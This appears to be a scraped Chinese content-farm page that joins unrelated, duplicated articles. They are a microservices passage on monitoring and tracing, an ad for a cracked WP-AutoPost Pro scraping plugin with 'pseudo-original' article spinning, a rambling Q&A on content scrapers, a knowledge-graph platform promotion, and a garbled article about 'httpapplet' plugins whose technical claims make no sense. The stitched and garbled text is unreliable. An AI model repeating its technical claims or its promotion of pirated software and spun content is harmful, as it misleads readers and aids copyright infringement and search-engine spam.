如果一直保持共用数据库的模式,则整个架构会越来越僵化,失去了微服务架构的意义。
因此小明和小红一鼓作气,把数据库也拆分了。所有持久化层相互隔离,由各个服务自己负责。另外,为了提高系统的实时性,加入了消息队列机制。
架构如下:
完全拆分后各个服务可以采用异构的技术。比如数据分析服务可以使用数据仓库作为持久化层,以便于高效地做一些统计计算;商品服务和促销服务访问频率比较大,因此加入了缓存机制等。
还有一种抽象出公共逻辑的方法是把这些公共逻辑做成公共的框架库。这种方法可以减少服务调用的性能损耗。但是这种方法的管理成本非常高昂,很难保证所有应用版本的一致性。
数据库拆分也有一些问题和挑战:比如说跨库级联的需求,通过服务查询数据颗粒度的粗细问题等。但是这些问题可以通过合理的设计来解决。总体来说,数据库拆分是一个利大于弊的。
微服务架构还有一个技术外的好处,它使整个系统的分工更加明确,责任更加清晰,每个人专心负责为其他人提供更好的服务。
在单体应用的时代,公共的业务功能经常没有明确的归属。最后要么各做各的,每个人都重新实现了一遍;要么是随机一个人(一般是能力比较强或者比较热心的人)做到他负责的应用里面。
在后者的情况下,这个人在负责自己应用之外,还要额外负责给别人提供这些公共的功能——而这个功能本来是无人负责的,仅仅因为他能力较强/比较热心,就莫名地背锅(这种情况还被美其名曰能者多劳)。
结果最后大家都不愿意提供公共的功能。长此以往,团队里的人渐渐变得各自为政,不再关心全局的架构设计。
从这个角度上看,使用微服务架构同时也需要组织结构做相应的调整。所以说做微服务改造需要管理者的支持。
改造完成后,小明和小红分清楚各自的锅。两人十分满意,一切就像是麦克斯韦方程组一样漂亮完美。
然而……
没有银弹
春天来了,万物复苏,又到了一年一度的购物狂欢节。眼看着日订单数量蹭蹭地上涨,小皮小明小红喜笑颜开。
可惜好景不长,乐极生悲,突然嘣的一下,系统挂了。
以往单体应用,排查问题通常是看一下日志,研究错误信息和调用堆栈。而微服务架构整个应用分散成多个服务,定位故障点非常困难。
小明一个台机器一台机器地查看日志,一个服务一个服务地手工调用。经过十几分钟的查找,小明终于定位到故障点:促销服务由于接收的请求量太大而停止响应了。其他服务都直接或间接地会调用促销服务,于是也跟着宕机了。
在微服务架构中,一个服务故障可能会产生雪崩效用,导致整个系统故障。
其实在节前,小明和小红是有做过请求量评估的。按照预计,服务器资源是足以支持节日的请求量的,所以肯定是哪里出了问题。
不过形势紧急,随着每一分每一秒流逝的都是白花花的银子,因此小明也没时间排查问题,当机立断在云上新建了几台虚拟机,然后一台一台地部署新的促销服务节点。

几分钟的操作后,系统总算是勉强恢复正常了。整个故障时间内估计损失了几十万的销售额,三人的心在滴血。
事后,小明简单写了个日志分析工具(量太大了,文本编辑器几乎打不开,打开了肉眼也看不过来),统计了促销服务的访问日志,发现在故障期间,商品服务由于代码问题,在某些场景下会对促销服务发起大量请求。
这个问题并不复杂,小明手指抖一抖,修复了这个价值几十万的 Bug。
问题是解决了,但谁也无法保证不会再发生类似的其他问题。微服务架构虽然逻辑设计上看是完美的,但就像积木搭建的华丽宫殿一样,经不起风吹草动。微服务架构虽然解决了旧问题,也引入了新的问题:
小明小红痛定思痛,决心好好解决这些问题。对故障的处理一般从两方面入手,一方面尽量减少故障发生的概率,另一方面降低故障造成的影响。
监控 - 发现故障的征兆
在高并发分布式的场景下,故障经常是突然间就雪崩式爆发。所以必须建立完善的监控体系,尽可能发现故障的征兆。
微服务架构中组件繁多,各个组件所需要监控的指标不同。比如 Redis 缓存一般监控占用内存值、网络流量,数据库监控连接数、磁盘空间,业务服务监控并发数、响应延迟、错误率等。
因此如果做一个大而全的监控系统来监控各个组件是不大现实的,而且扩展性会很差。一般的做法是让各个组件提供报告自己当前状态的接口(metrics接口),这个接口输出的数据格式应该是一致的。
然后部署一个指标采集器组件,定时从这些接口获取并保持组件状态,同时提供查询服务。
最后还需要一个 UI,从指标采集器查询各项指标,绘制监控界面或者根据阈值发出告警。
大部分组件都不需要自己动手开发,网络上有开源组件。小明下载了 RedisExporter 和 MySQLExporter,这两个组件分别提供了 Redis 缓存和 MySQL 数据库的指标接口。
微服务则根据各个服务的业务逻辑实现自定义的指标接口。
然后小明采用 Prometheus 作为指标采集器,Grafana 配置监控界面和邮件告警。
这样一套微服务监控系统就搭建起来了:
定位问题 - 链路跟踪
在微服务架构下,一个用户的请求往往涉及多个内部服务调用。为了方便定位问题,需要能够记录每个用户请求时,微服务内部产生了多少服务调用,及其调用关系。这个叫做链路跟踪。
我们用一个 Istio 文档里的链路跟踪例子来看看效果:
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要实现链路跟踪,每次服务调用会在 HTTP 的 HEADERS 中记录至少记录四项数据:
另外,还需要调用日志收集与存储的组件,以及展示链路调用的UI组件。
以上只是一个极简的说明,关于链路跟踪的理论依据可详见 Google 的 Dapper。
了解了理论基础后,小明选用了 Dapper 的一个开源实现 Zipkin。然后手指一抖,写了个 HTTP 请求的拦截器,在每次 HTTP 请求时生成这些数据注入到 HEADERS,同时异步发送调用日志到 Zipkin 的日志收集器中。
WordPress自动采集插件AutoPost
网站优化 • 优采云 发表了文章 • 0 个评论 • 207 次浏览 • 2022-08-28 16:52
WordPress有一款插件自动采集插件叫AutoPost还有的称呼AutoPostPro反正就是叫来叫去官方收费的…
wordpress中文采集wp-autopost pro 3.7.8或者3-7.7都有 想要工具的采集交流或者代写规则联系v❤:AutoPostPro
采集插件适用对象
1、刚建的wordpress站点内容比较少,希望尽快有比较丰富的内容;
2、热点内容自动采集并自动发布;
3、定时采集,手动采集发布或保存到草稿;
4、css样式规则,能更精确的采集需要的内容。
5、伪原创与翻译、代理IP进行采集、保存Cookie记录;
6、可采集内容到自定义栏目
7、解决部分用户使用3.6.1版本导致整站后台与前台卡顿的问题!
----此版本与官方的功能没有任何区别;
WP-AutoPost Pro 在采集方面有什么优势?
一、安装方便,全自动采集,实现无人值守
WP-AutoPost 可以直接在后台插件面板上传安装,只需要点击几下,就可以激活使用。激活后,你可以看到 WP-AutoPost 的管理面板被集成在了左侧,各种采集规则设置一目了然,即便是 WordPress 新手也能很快上手。等到配置完采集规则后,即可以开启任务,WP-AutoPost 会自动采集好目标站的内容,自动发布到你的网站里。
二、采集规则配置简单,支持通配符和 CSS,完美支持 WordPress 各种功能
相比于优采云采集器的繁琐规则,WP-AutoPost Pro 真正做到了人性化,它的定向采集只需要提供文章列表 URL 即可智能采集来自于任何网站或栏目的内容。支持采集标题,正文,可自动设置分类目录、标签、摘要、特色图片,支持自定义栏目、自定义文章类型等。
三、中英文翻译,伪原创的支持
相信很多站长有伪原创这方面的需求,来迎合搜索引擎的喜好。WP-AutoPost Pro 巧妙的内置了各种伪原创工具,支持百度翻译(需要配置接口),也支持国外最优秀伪原创工具 WordAi,Spin Rewriter 等。
四、支持图片等附件下载,支持添加水印,支持 Flick、七牛云等第三方图片存储
WP-AutoPost Pro 还有个令人称赞的地方是支持远程图片下载到本地服务器,也可以下载到像 Flick、七牛云等第三方图片存储,并且可以为图片加上水印(文本水印和图片水印)。
五、强大的 SEO 设置选项
像优采云一样,WP-AutoPost 采集插件也支持 HTML 标签过滤,关键词替换,自动添加链接,添加自定义内容,自定义文章样式等,最大限度得使采集的内容区别于原网站的内容,利于搜索引擎排名。
附加:
WP-AutoPost Pro V3.7.8
特别说明:
1. 本插件是基于 WP-AutoPost Pro对应版本破解修复版,耗费了店主的大量时间与精力。
2.本版本主要修复了:规则正确后采集找不到文章内容和标题(采集整版二次验证问题),翻译功能无法使用的问题。
3.不要说买完用不了(不提供技术支持,插件官网有教程),建议有基础知识的朋友购买。
详细使用教程 查看全部
WordPress自动采集插件AutoPost
WordPress有一款插件自动采集插件叫AutoPost还有的称呼AutoPostPro反正就是叫来叫去官方收费的…
wordpress中文采集wp-autopost pro 3.7.8或者3-7.7都有 想要工具的采集交流或者代写规则联系v❤:AutoPostPro
采集插件适用对象
1、刚建的wordpress站点内容比较少,希望尽快有比较丰富的内容;
2、热点内容自动采集并自动发布;
3、定时采集,手动采集发布或保存到草稿;
4、css样式规则,能更精确的采集需要的内容。
5、伪原创与翻译、代理IP进行采集、保存Cookie记录;

6、可采集内容到自定义栏目
7、解决部分用户使用3.6.1版本导致整站后台与前台卡顿的问题!
----此版本与官方的功能没有任何区别;
WP-AutoPost Pro 在采集方面有什么优势?
一、安装方便,全自动采集,实现无人值守
WP-AutoPost 可以直接在后台插件面板上传安装,只需要点击几下,就可以激活使用。激活后,你可以看到 WP-AutoPost 的管理面板被集成在了左侧,各种采集规则设置一目了然,即便是 WordPress 新手也能很快上手。等到配置完采集规则后,即可以开启任务,WP-AutoPost 会自动采集好目标站的内容,自动发布到你的网站里。
二、采集规则配置简单,支持通配符和 CSS,完美支持 WordPress 各种功能
相比于优采云采集器的繁琐规则,WP-AutoPost Pro 真正做到了人性化,它的定向采集只需要提供文章列表 URL 即可智能采集来自于任何网站或栏目的内容。支持采集标题,正文,可自动设置分类目录、标签、摘要、特色图片,支持自定义栏目、自定义文章类型等。
三、中英文翻译,伪原创的支持
相信很多站长有伪原创这方面的需求,来迎合搜索引擎的喜好。WP-AutoPost Pro 巧妙的内置了各种伪原创工具,支持百度翻译(需要配置接口),也支持国外最优秀伪原创工具 WordAi,Spin Rewriter 等。
四、支持图片等附件下载,支持添加水印,支持 Flick、七牛云等第三方图片存储

WP-AutoPost Pro 还有个令人称赞的地方是支持远程图片下载到本地服务器,也可以下载到像 Flick、七牛云等第三方图片存储,并且可以为图片加上水印(文本水印和图片水印)。
五、强大的 SEO 设置选项
像优采云一样,WP-AutoPost 采集插件也支持 HTML 标签过滤,关键词替换,自动添加链接,添加自定义内容,自定义文章样式等,最大限度得使采集的内容区别于原网站的内容,利于搜索引擎排名。
附加:
WP-AutoPost Pro V3.7.8
特别说明:
1. 本插件是基于 WP-AutoPost Pro对应版本破解修复版,耗费了店主的大量时间与精力。
2.本版本主要修复了:规则正确后采集找不到文章内容和标题(采集整版二次验证问题),翻译功能无法使用的问题。
3.不要说买完用不了(不提供技术支持,插件官网有教程),建议有基础知识的朋友购买。
详细使用教程
网站内容采集器上百度是常事,原因很简单
网站优化 • 优采云 发表了文章 • 0 个评论 • 140 次浏览 • 2022-08-27 19:01
网站内容采集器上百度是常事,原因一是用户习惯所致,比如搜索法律不健全、大城市等,就会搜索法律及大城市类网站。二是出于效率考虑,中小企业网站内容采集是很常见的情况。
你们觉得自己网站不重要,不能给他们带来利益,就这么简单,要是有人能抓到这些就没工夫去做了。
新三板上市公司直接弄个网站让他们找投资人。
原因很简单,就是少写外链。谁需要看你的内容。
站点的用户群体是那类人?用户目标不同就不同了
采集别人站点文章,然后找一些小网站投放广告呗,做广告比站点搬运容易。
百度就知道好处
我觉得楼主想问的并不是“站点把发外链赚来的钱给了谁”,是想问“一大堆站对一大堆站发布外链,
没钱就比较难追
在通往理想的路上,常常碰到来自各种各样的阻力,甚至有些外部力量的阻力是你无法左右的,可以说就是你想追求的目标是什么?外链?那就更多的外链。
对于百度蜘蛛来说外链是没有用的
给钱
你不投钱百度自己就会给你
都是自己的关键词排名不在第一
站采集是赚钱的,
谢邀,
站内推广技术
采集技术高
楼主的意思是百度会限制非头部出现在前面吧?那就只能是靠广告,roi的高低,google会限制非头部出现在第一页就能看到别人的seo结果。 查看全部
网站内容采集器上百度是常事,原因很简单
网站内容采集器上百度是常事,原因一是用户习惯所致,比如搜索法律不健全、大城市等,就会搜索法律及大城市类网站。二是出于效率考虑,中小企业网站内容采集是很常见的情况。
你们觉得自己网站不重要,不能给他们带来利益,就这么简单,要是有人能抓到这些就没工夫去做了。
新三板上市公司直接弄个网站让他们找投资人。
原因很简单,就是少写外链。谁需要看你的内容。
站点的用户群体是那类人?用户目标不同就不同了
采集别人站点文章,然后找一些小网站投放广告呗,做广告比站点搬运容易。

百度就知道好处
我觉得楼主想问的并不是“站点把发外链赚来的钱给了谁”,是想问“一大堆站对一大堆站发布外链,
没钱就比较难追
在通往理想的路上,常常碰到来自各种各样的阻力,甚至有些外部力量的阻力是你无法左右的,可以说就是你想追求的目标是什么?外链?那就更多的外链。
对于百度蜘蛛来说外链是没有用的
给钱

你不投钱百度自己就会给你
都是自己的关键词排名不在第一
站采集是赚钱的,
谢邀,
站内推广技术
采集技术高
楼主的意思是百度会限制非头部出现在前面吧?那就只能是靠广告,roi的高低,google会限制非头部出现在第一页就能看到别人的seo结果。
科技创新|态极数据经纬时空知识管理(四)
网站优化 • 优采云 发表了文章 • 0 个评论 • 309 次浏览 • 2022-08-23 22:59
04
时空知识图谱构建案例
态极数据经纬智能知识管理平台DFKM是时空知识图的“智能”数据平台:融合领域地上、地下时空基准网与感知数据统管共用和多源感知终端为“时空一张图”,构建时空人工智能大模型,实现时空智能问答、时空智能推荐及时空智能分析,可作为时空人工智能、数字孪生的数据融合知识发现平台。
数据源:数据源由TransSpider网页采集器进行采集,主要采集51job等招聘网站的招聘岗位数据。
构建过程:
1、TransSpider 网页采集器配置,爬取51job招聘网站信息;
2、爬取数据预处理成为指定csv格式;
3、概念设计创建本体,本体属性,关系,关系规则创建资源目录,并上传文件;
4、创建资源字段对应的资源字段;
5、创建提取规则(实体提取,实体特征提取,关系提取,关系特征提取);
6、新建提取任务 。
应用场景参考:
1、基于用户掌握的专业技能进行岗位的推荐;
2、基于能力图谱构建专业领域的知识问题系统;
3、通过引入知识图谱中的实体以及实体的描述信息丰富语义,优化信息检索模型,可灵活支持各类实体搜索,让人才搜索更便捷,更智能;
4、基于庞大的知识图谱和数据支持,针对职位的市场人才数据情况进行洞察,招聘前先掌握人才市场分布情况,薪资情况。
数据源:数据源OSM地图数据转换文件、百度交通拥堵数据、气象数据;
构建过程:
1、源数据采集,通过TransDFKM的DCA进行对源数据进行接入;
2、对接入数据根据图谱构建的概念进行对数据分析,对数据拆解为本体数据、本体特征数据、关系数据、关系特征数据等;
3、将分析后的数据根据分析结果对数据进行相应的预处理,形成KEE数据输入源;
4、使用TransDFKM的TransStudio工作台进行模型构建(本体创建、本体分类特征创建、关系规则创建、关系特征分类创建);
5、使用TransDFKM的TransStudio工作台进新KEE提取任务设置(创建资源目录,并上传文件,创建资源字段对应的资源字段,创建提取规则【实体提取,实体特征提取,关系提取,关系特征提取】,新建提取任务)。
应用场景参考:
1、道路网络360画像 ;
2、交通网络流预测;
3、道路网络的动力学传播分析;
4、道路网瓶颈路段分析;
5、路网交通流分配分析;
6、交通需求社区结构及交互特性;
7、交通需求热点发现;
8、交通需求空间自相关性;
数据源:赛文交通网公众号;
构建过程:
1、使用爬虫引擎爬取互联网数据转换为文档文件或通过人工手动进行上传文档数据;
2、将收集的文档数据进行统一存储;
3、通过界面设置提取任务,上传转换后的docx文档进行数据提取并设置任务发布状态为自动发布或者关闭自动发布或者通过监控引擎监控新的文档进行任务的自动构建;
4、通过智能文档提取引擎将数据提取至开发图数据库;
5、未开启自动发布时人工校验数据,校验不合格返回到提取任务提取,进行新版本数据提取,校验合格后手动进行数据发布;
6、开启自动发布,数据在提取完成后直接提取到发布到生产图数据库中。
应用场景参考:
1、下一个词的建议:可以考虑当前一个或任意数量的先前单词来建议下一个单词;
2、高级搜索引擎:当我们拥有单词的顺序以及它们之间的依赖关系的信息时,可以实现高级搜索功能,其中除了检查单词的确切顺序之外,还可以考虑某些单词在我们的目标之间的情况并提供一些建议;
3、基于内容的推荐:通过将文本分解成组件,可以比较项目描述(产品等)
以图网络的形式表示时空数据和非结构化文档信息,提供了统一且灵活的隐藏在数据中时空知识的探索模式。
05
TransDFKM 应用场景
基于对人、车、路、地、物、事的时空感知、数据管理和智能分析能力,打造基于个体行为模型的可计算全息路网的数字交通智能数据底座平台,支持精准、实时、全面的数字交通场景应用,实现能感知、有知识、可进化、 会做事的综合交通运输大数据支撑体系。
实时交通孪生仿真-交通态势实时感知:采集感知数据->集成接入->数据经纬智能知识管理平台->时空知识图谱->三维实景引擎->三维可视化,良好网络情况下,可达100毫秒时延。
实现了接近90%准确率的交通流预测,全网路段单次预测未来12小时耗时仅2.324ms
厦门市思明区西北部路网
坐标范围:118.077°24.464° 118.108° 24.482°
原始法构建道路路网(直接利用态极时空知识图谱的道路网络子图谱)
236 路段进行路网空间特征
流量特征(车速)提取,直接抽取态极时空知识图谱的路段流量特征数据(静态关系动态特征)
交通流预测模型:时空图卷积神经网络(Graph WaveNet)
交通流预测——预测结果对比(2020.06.24-2020.06.26)
基于微内容的原子知识管理 查看全部
科技创新|态极数据经纬时空知识管理(四)
04
时空知识图谱构建案例
态极数据经纬智能知识管理平台DFKM是时空知识图的“智能”数据平台:融合领域地上、地下时空基准网与感知数据统管共用和多源感知终端为“时空一张图”,构建时空人工智能大模型,实现时空智能问答、时空智能推荐及时空智能分析,可作为时空人工智能、数字孪生的数据融合知识发现平台。
数据源:数据源由TransSpider网页采集器进行采集,主要采集51job等招聘网站的招聘岗位数据。
构建过程:
1、TransSpider 网页采集器配置,爬取51job招聘网站信息;
2、爬取数据预处理成为指定csv格式;
3、概念设计创建本体,本体属性,关系,关系规则创建资源目录,并上传文件;
4、创建资源字段对应的资源字段;
5、创建提取规则(实体提取,实体特征提取,关系提取,关系特征提取);
6、新建提取任务 。
应用场景参考:
1、基于用户掌握的专业技能进行岗位的推荐;
2、基于能力图谱构建专业领域的知识问题系统;
3、通过引入知识图谱中的实体以及实体的描述信息丰富语义,优化信息检索模型,可灵活支持各类实体搜索,让人才搜索更便捷,更智能;
4、基于庞大的知识图谱和数据支持,针对职位的市场人才数据情况进行洞察,招聘前先掌握人才市场分布情况,薪资情况。
数据源:数据源OSM地图数据转换文件、百度交通拥堵数据、气象数据;
构建过程:
1、源数据采集,通过TransDFKM的DCA进行对源数据进行接入;
2、对接入数据根据图谱构建的概念进行对数据分析,对数据拆解为本体数据、本体特征数据、关系数据、关系特征数据等;
3、将分析后的数据根据分析结果对数据进行相应的预处理,形成KEE数据输入源;
4、使用TransDFKM的TransStudio工作台进行模型构建(本体创建、本体分类特征创建、关系规则创建、关系特征分类创建);

5、使用TransDFKM的TransStudio工作台进新KEE提取任务设置(创建资源目录,并上传文件,创建资源字段对应的资源字段,创建提取规则【实体提取,实体特征提取,关系提取,关系特征提取】,新建提取任务)。
应用场景参考:
1、道路网络360画像 ;
2、交通网络流预测;
3、道路网络的动力学传播分析;
4、道路网瓶颈路段分析;
5、路网交通流分配分析;
6、交通需求社区结构及交互特性;
7、交通需求热点发现;
8、交通需求空间自相关性;
数据源:赛文交通网公众号;
构建过程:
1、使用爬虫引擎爬取互联网数据转换为文档文件或通过人工手动进行上传文档数据;
2、将收集的文档数据进行统一存储;
3、通过界面设置提取任务,上传转换后的docx文档进行数据提取并设置任务发布状态为自动发布或者关闭自动发布或者通过监控引擎监控新的文档进行任务的自动构建;
4、通过智能文档提取引擎将数据提取至开发图数据库;
5、未开启自动发布时人工校验数据,校验不合格返回到提取任务提取,进行新版本数据提取,校验合格后手动进行数据发布;
6、开启自动发布,数据在提取完成后直接提取到发布到生产图数据库中。
应用场景参考:
1、下一个词的建议:可以考虑当前一个或任意数量的先前单词来建议下一个单词;
2、高级搜索引擎:当我们拥有单词的顺序以及它们之间的依赖关系的信息时,可以实现高级搜索功能,其中除了检查单词的确切顺序之外,还可以考虑某些单词在我们的目标之间的情况并提供一些建议;
3、基于内容的推荐:通过将文本分解成组件,可以比较项目描述(产品等)

以图网络的形式表示时空数据和非结构化文档信息,提供了统一且灵活的隐藏在数据中时空知识的探索模式。
05
TransDFKM 应用场景
基于对人、车、路、地、物、事的时空感知、数据管理和智能分析能力,打造基于个体行为模型的可计算全息路网的数字交通智能数据底座平台,支持精准、实时、全面的数字交通场景应用,实现能感知、有知识、可进化、 会做事的综合交通运输大数据支撑体系。
实时交通孪生仿真-交通态势实时感知:采集感知数据->集成接入->数据经纬智能知识管理平台->时空知识图谱->三维实景引擎->三维可视化,良好网络情况下,可达100毫秒时延。
实现了接近90%准确率的交通流预测,全网路段单次预测未来12小时耗时仅2.324ms
厦门市思明区西北部路网
坐标范围:118.077°24.464° 118.108° 24.482°
原始法构建道路路网(直接利用态极时空知识图谱的道路网络子图谱)
236 路段进行路网空间特征
流量特征(车速)提取,直接抽取态极时空知识图谱的路段流量特征数据(静态关系动态特征)
交通流预测模型:时空图卷积神经网络(Graph WaveNet)
交通流预测——预测结果对比(2020.06.24-2020.06.26)
基于微内容的原子知识管理
网站内容采集器plugin是用一些javascript开发的,获取整站内容存储的
网站优化 • 优采云 发表了文章 • 0 个评论 • 112 次浏览 • 2022-08-13 10:06
网站内容采集器plugin是用一些javascript开发的,获取整站内容存储的。具体使用方法,我就不详细给你介绍了,可以看我的上一篇文章。获取整站内容的网站可以分为以下几种:基于httpapplet的网站plugin基于svn的网站plugin基于jsscript的网站plugin基于iis的网站plugin基于xml等文件的网站plugin这一类还包括很多名字,大多使用javascript进行网站内容编码,如json,jpg,javascriptxml,xmlxml文件。
httpapplet,简单来说就是基于webkit和javascript引擎的网站采集器。通过这种方式,我们可以直接从本地文件中去爬取并下载。通过httpapplet的爬取机制,可以高效的获取网站内容。这类网站会把所有url编码为字符串形式,在保存文件时将其转为php或者其他语言形式保存。网站内容编码转换php保存xmlxml文件网站内容保存成index.php样式后查看httpapplet爬取器支持基于字符编码的http协议http协议使用apache作为内核,所以具体如何编码http,请自行百度相关文章。
文件编码不支持大多数主流语言编码。网站模块目前开发的基于xml文件生成的plugin也可以保存网站编码问题。php文件保存到本地后,通过xml解析器,我们可以根据需要获取相应的网站内容,保存为xml格式。在进行查看的时候,我们可以通过post保存到本地,这样我们可以即时看到相应的网站内容,也可以方便的通过浏览器,直接查看即时内容。
phphttpparser如果对http协议不太了解,可以看我之前写的文章。http_parser什么时候需要加一个filter方法?为什么不能简单粗暴的保存http不加filter的xml文件?httpparser生成xml格式的网站内容我们之前提到过,可以通过反向代理地址寻找网站并保存;可以通过http代理的地址去获取相应网站内容。如果你需要得到一个代理服务器的地址,那么保存它就是一个有意义的事情。 查看全部
网站内容采集器plugin是用一些javascript开发的,获取整站内容存储的
网站内容采集器plugin是用一些javascript开发的,获取整站内容存储的。具体使用方法,我就不详细给你介绍了,可以看我的上一篇文章。获取整站内容的网站可以分为以下几种:基于httpapplet的网站plugin基于svn的网站plugin基于jsscript的网站plugin基于iis的网站plugin基于xml等文件的网站plugin这一类还包括很多名字,大多使用javascript进行网站内容编码,如json,jpg,javascriptxml,xmlxml文件。

httpapplet,简单来说就是基于webkit和javascript引擎的网站采集器。通过这种方式,我们可以直接从本地文件中去爬取并下载。通过httpapplet的爬取机制,可以高效的获取网站内容。这类网站会把所有url编码为字符串形式,在保存文件时将其转为php或者其他语言形式保存。网站内容编码转换php保存xmlxml文件网站内容保存成index.php样式后查看httpapplet爬取器支持基于字符编码的http协议http协议使用apache作为内核,所以具体如何编码http,请自行百度相关文章。

文件编码不支持大多数主流语言编码。网站模块目前开发的基于xml文件生成的plugin也可以保存网站编码问题。php文件保存到本地后,通过xml解析器,我们可以根据需要获取相应的网站内容,保存为xml格式。在进行查看的时候,我们可以通过post保存到本地,这样我们可以即时看到相应的网站内容,也可以方便的通过浏览器,直接查看即时内容。
phphttpparser如果对http协议不太了解,可以看我之前写的文章。http_parser什么时候需要加一个filter方法?为什么不能简单粗暴的保存http不加filter的xml文件?httpparser生成xml格式的网站内容我们之前提到过,可以通过反向代理地址寻找网站并保存;可以通过http代理的地址去获取相应网站内容。如果你需要得到一个代理服务器的地址,那么保存它就是一个有意义的事情。
网站内容采集器与站长工具箱差不多怎么办
网站优化 • 优采云 发表了文章 • 0 个评论 • 106 次浏览 • 2022-08-07 22:05
网站内容采集器一般来说和seo工具差不多。站长工具箱会经常更新。
目前只做了seo工具箱,站长宝包含很多seo工具,主要还是资源整合方面。
社交工具:推他
现在主要在用站长工具箱
网站内容采集器也有站长工具箱这个工具的,
网站内容采集器
站长工具箱蛮好用的
推荐网站内容采集器
站长工具箱很好用,
站长工具箱不错,
站长工具箱挺好用的。
站长工具箱,内容采集站采集干货,挺好用的。
站长工具箱
网站内容采集器与站长工具箱差不多,主要功能是资源整合,主要应用于站长、seo新手。其他软件也有,需要的话可以自己去判断。
站长工具箱不错,资源整合性较强,采集整合干货,页面文章查看,然后再统计页面分析需要的条件。
站长工具箱资源整合比较强,站长工具箱的话以站长得账号管理为主,站长工具箱主要以站长得账号管理和站长首页干货为主,资源整合多用于站长工具箱,站长工具箱一般站长工具箱和站长一起推出了,站长工具箱以站长服务为主的站长工具箱。
站长工具箱,资源整合很方便,
站长工具箱不错 查看全部
网站内容采集器与站长工具箱差不多怎么办
网站内容采集器一般来说和seo工具差不多。站长工具箱会经常更新。
目前只做了seo工具箱,站长宝包含很多seo工具,主要还是资源整合方面。
社交工具:推他
现在主要在用站长工具箱
网站内容采集器也有站长工具箱这个工具的,

网站内容采集器
站长工具箱蛮好用的
推荐网站内容采集器
站长工具箱很好用,
站长工具箱不错,
站长工具箱挺好用的。

站长工具箱,内容采集站采集干货,挺好用的。
站长工具箱
网站内容采集器与站长工具箱差不多,主要功能是资源整合,主要应用于站长、seo新手。其他软件也有,需要的话可以自己去判断。
站长工具箱不错,资源整合性较强,采集整合干货,页面文章查看,然后再统计页面分析需要的条件。
站长工具箱资源整合比较强,站长工具箱的话以站长得账号管理为主,站长工具箱主要以站长得账号管理和站长首页干货为主,资源整合多用于站长工具箱,站长工具箱一般站长工具箱和站长一起推出了,站长工具箱以站长服务为主的站长工具箱。
站长工具箱,资源整合很方便,
站长工具箱不错
网站内容采集器的成功和失败来明确应用的意义
网站优化 • 优采云 发表了文章 • 0 个评论 • 148 次浏览 • 2022-07-25 06:01
网站内容采集器又称“百度采集器”,网站内容采集工具是通过公开的内容采集源来采集网站上的内容,提供商业模式盈利的采集器应用。这类工具与工具集不同于正规的采集器集。很多工具采集工具大多数是收费的,采集源的质量也很难得到保证。采集的内容与网站的内容几乎是无关的。分析某种采集方式的成功和失败来明确应用这一采集工具是有意义的。
成功案例:某品牌企业的产品管理以及销售,寻找资源,包括直接和间接方式获取合适的渠道客户,统一资源管理,统一进行产品和公司管理的分析。企业销售业绩提升,取得精准的社会化传播渠道并稳步增长。发现问题和机会:管理人员担心采集内容导致类似的内容流入其他公司,导致对原创内容的不尊重。利用市场竞争对手的优势特色,提高产品价值。
1个采集工具:googlethunderbird2个采集软件:weiziradio做好决策:1内容采集器公司找到您后,咨询了解您的需求,了解您的业务,进而评估您的需求,看您的经济条件是否能承受采集量,产品价格等。2选择做这种销售模式,是否在未来有良好的现金流。我公司研发团队小编教你从零开始入门采集工具应用,他是这样做的。
从市场营销角度来说,销售过程就是客户先购买产品,才能帮助企业完成销售工作。销售人员:(采集工具销售人员)。
1、客户在哪里?这要看你是哪个行业的采集工具,有些是说这产品能够帮助您根据网页生成的图片采集内容,当用户点击该链接进入后,用户是通过浏览器或者app搜索,将您的内容抓取,然后进行“内容营销”。如果遇到生成图片流量比较小或者怎么关键词都无法搜索到的页面或者企业公司都无法说清的页面,又或者客户搜索内容和您采集的内容不一致,我们就无法做采集工作。
2、采集哪个渠道?尽量选择上游公司或者官方或者当地企业、政府机构、发行部门等。另外有些采集软件会采集非法的图片或者音频。每天抓取的图片越多,效果越差,直接影响点击率和数据库库存,所以采集工具应该尽量抓取上游公司或者官方,他们在不能提供明确价值给客户前,不对外推荐,他们推荐,让他们认为有利润、会有大量需求,抓取的质量和时间可控。如果您经济条件允许,我们非常欢迎能够收购。
3、采集量和采集时间?这个不好估计,我们一般从0.1-10万之间,我们收购的是单篇图片。如果您要抓取时间段,我们就采集全国,全国统一个频道统一抓取,抓取的时间间隔大于两个小时。每个采集软件要统一开发程序或者换不同的抓取软件。
4、哪里定价?收购哪个公司不是目的,最终目的是要提供给客户一个方便, 查看全部
网站内容采集器的成功和失败来明确应用的意义
网站内容采集器又称“百度采集器”,网站内容采集工具是通过公开的内容采集源来采集网站上的内容,提供商业模式盈利的采集器应用。这类工具与工具集不同于正规的采集器集。很多工具采集工具大多数是收费的,采集源的质量也很难得到保证。采集的内容与网站的内容几乎是无关的。分析某种采集方式的成功和失败来明确应用这一采集工具是有意义的。
成功案例:某品牌企业的产品管理以及销售,寻找资源,包括直接和间接方式获取合适的渠道客户,统一资源管理,统一进行产品和公司管理的分析。企业销售业绩提升,取得精准的社会化传播渠道并稳步增长。发现问题和机会:管理人员担心采集内容导致类似的内容流入其他公司,导致对原创内容的不尊重。利用市场竞争对手的优势特色,提高产品价值。

1个采集工具:googlethunderbird2个采集软件:weiziradio做好决策:1内容采集器公司找到您后,咨询了解您的需求,了解您的业务,进而评估您的需求,看您的经济条件是否能承受采集量,产品价格等。2选择做这种销售模式,是否在未来有良好的现金流。我公司研发团队小编教你从零开始入门采集工具应用,他是这样做的。
从市场营销角度来说,销售过程就是客户先购买产品,才能帮助企业完成销售工作。销售人员:(采集工具销售人员)。
1、客户在哪里?这要看你是哪个行业的采集工具,有些是说这产品能够帮助您根据网页生成的图片采集内容,当用户点击该链接进入后,用户是通过浏览器或者app搜索,将您的内容抓取,然后进行“内容营销”。如果遇到生成图片流量比较小或者怎么关键词都无法搜索到的页面或者企业公司都无法说清的页面,又或者客户搜索内容和您采集的内容不一致,我们就无法做采集工作。

2、采集哪个渠道?尽量选择上游公司或者官方或者当地企业、政府机构、发行部门等。另外有些采集软件会采集非法的图片或者音频。每天抓取的图片越多,效果越差,直接影响点击率和数据库库存,所以采集工具应该尽量抓取上游公司或者官方,他们在不能提供明确价值给客户前,不对外推荐,他们推荐,让他们认为有利润、会有大量需求,抓取的质量和时间可控。如果您经济条件允许,我们非常欢迎能够收购。
3、采集量和采集时间?这个不好估计,我们一般从0.1-10万之间,我们收购的是单篇图片。如果您要抓取时间段,我们就采集全国,全国统一个频道统一抓取,抓取的时间间隔大于两个小时。每个采集软件要统一开发程序或者换不同的抓取软件。
4、哪里定价?收购哪个公司不是目的,最终目的是要提供给客户一个方便,
